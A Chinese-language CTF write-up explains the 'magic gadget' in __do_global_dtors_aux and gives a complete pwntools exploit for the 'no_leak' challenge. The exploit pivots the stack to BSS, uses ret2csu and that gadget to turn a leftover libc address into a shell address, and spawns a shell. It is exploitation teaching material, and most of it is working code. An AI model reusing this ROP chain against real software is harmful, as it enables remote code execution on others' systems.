Magic_Gadget

此gadget平常很少见,我也是第一次见到,但也不是没有,通常存在于__do_global_dtors_aux中,有其他师傅认为是出题人手写的asm,但我认为,更多应该是编译器的缘故

解析

1
.text:0000000000400500 __do_global_dtors_aux proc near         ; DATA XREF: .fini_array:__do_global_dtors_aux_fini_array_entry↓o
2
.text:0000000000400500                 cmp     cs:__bss_start, 0
3
.text:0000000000400507                 jnz     short locret_400520
4
.text:0000000000400509                 push    rbp
5
.text:000000000040050A                 mov     rbp, rsp
6
.text:000000000040050D                 call    deregister_tm_clones
7
.text:000000000040050D ; ---------------------------------------------------------------------------
8
.text:0000000000400512                 db 0C6h
9
.text:0000000000400513                 db    5
10
.text:0000000000400514                 db 0F7h
11
.text:0000000000400515                 db  0Ah
12
.text:0000000000400516                 db 20h
13
.text:0000000000400517                 db    0
14
.text:0000000000400518 ; ---------------------------------------------------------------------------
15
.text:0000000000400518                 add     [rbp-3Dh], ebx
16
.text:000000000040051B                 nop     dword ptr [rax+rax+00h]
17
.text:0000000000400520
18
.text:0000000000400520 locret_400520:                          ; CODE XREF: __do_global_dtors_aux+7↑j
19
.text:0000000000400520                 rep retn

在IDA里面可以将这段汇编拆成如上一小段,如此即可往[RBP-0x3Dh]处加上一定的值,那么只要在程序某个确定的地址保存有动态链接的地址,且此处具有可写权限,则可以将这里修改为rce的地址或者system的地址

No_leak

为此找到了no_leak这个题,由于没有打印信息的函数,且程序PIE是关闭的,通常就会想到ret2dl_resolve,观摩了一个师傅的题解,貌似ret2dl_resolve的方法不能用,因此他选择的此magic_gadget

1
Arch:     amd64-64-little
2
RELRO:    Full RELRO
3
Stack:    No canary found
4
NX:       NX enabled
5
PIE:      No PIE (0x400000)

然而,程序GOT表不可以修改,但当调用libc_start_main会在栈上填充一些内容,而其中包括动态链接地址,只要可以将程序栈迁移到BSS段上,那么调用libc_start_main填充的内容就会分布在BSS段上
而程序地址随机化关闭,因此采用magic_gadget即可将某个动态链接地址转化成rce地址,再次回到主函数,则形成了一个常见的栈溢出
MAIN LIBC:2.30 EXP

1
from pwn import*
2
from LD import*
3
p = process('./main')
4
elf =ELF('./main')
5
libc = ELF('./libc-2.30.so',checksec=False)
6
7
gadget_reg = 0x4005CA
8
gadget_call= 0x4005B0
9
magic_gadget = 0x400518
10
pop_rdi_ret = 0x4005D3
11
pop_rsi_r15 = 0x4005D1
12
leave_ret = 0x400564
13
buf_address = elf.bss() + 0x500
14
fini = 0x4005E0
15
init = 0x400570
16
main = 0x400450
17
#---------------
18
payload  = '\x00'*0x80 + p64(buf_address -8)
19
payload += p64(pop_rdi_ret) + p64(0)
20
payload += p64(pop_rsi_r15) + p64(buf_address) + p64(0) + p64(elf.plt['read'])
21
payload += p64(leave_ret)
22
p.send(payload)
23
24
payload  = p64(gadget_reg)
25
payload += p64(0) + p64(1)
26
payload += p64(elf.got['__libc_start_main'])
27
payload += p64(main) + p64(fini) + p64(init)
28
payload += p64(gadget_call)
29
p.send(payload)
30
#--------------- it has called the function named __libc_start_main
31
32
payload  = '\x00'*0x80 + p64(buf_address)
33
payload += p64(gadget_reg)
34
payload += p64(0xFFFFFFFFFFEF3D3B) #p64(0xFFFFFFFFFFC5EC9D)
35
payload += p64(0x601485)
36
payload += p64(0)*4
37
payload += p64(magic_gadget)
38
payload += p64(main)
39
p.sendline(payload)
40
#--------------- the system_address has been left in BSS
41
rce  = 0x601448
42
p.sendline('\x00'*0x80 + p64(rce -8) + p64(leave_ret))
43
p.interactive()

参考链接

神奇的gadget

Contents
  1. 1. 解析
    1. 1.1. No_leak
    2. 1.2. 参考链接
|